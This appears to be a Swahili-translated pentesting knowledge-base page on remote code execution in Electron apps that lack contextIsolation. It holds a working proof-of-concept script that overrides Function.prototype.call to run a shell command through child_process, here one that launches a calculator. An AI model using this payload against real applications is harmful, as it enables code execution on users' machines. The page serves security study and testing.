# Electron contextIsolation RCE kupitia msimbo wa ndani wa Electron

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## Mfano 1

Mfano kutoka [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)

"exit" msikilizaji wa tukio daima huwekwa na msimbo wa ndani wakati upakiaji wa ukurasa umeanza. Tukio hili linatolewa kabla ya urambazaji:
```javascript
process.on("exit", function () {
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
```
{{#ref}}
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
{{#endref}}

![](<../../../images/image (1070).png>)

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Haipo tena

Kisha inaenda hapa:

![](<../../../images/image (793).png>)

Ambapo "self" ni kitu cha mchakato wa Node:

![](<../../../images/image (700).png>)

Kitu cha mchakato kina rejeleo kwa kazi ya "require":
```
process.mainModule.require
```
Kama handler.call itapokea kituo cha mchakato tunaweza kukibadilisha ili kutekeleza msimbo wowote:
```html
<script>
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("calc")
}
location.reload() //Trigger the "exit" event
</script>
```
## Mfano 2

Pata **kipengele cha require kutoka kwa uchafuzi wa prototype**. Kutoka [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)

Kuvuja:

<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>

Kuvunja:

<figure><img src="../../../images/image (89).png" alt=""><figcaption></figcaption></figure>

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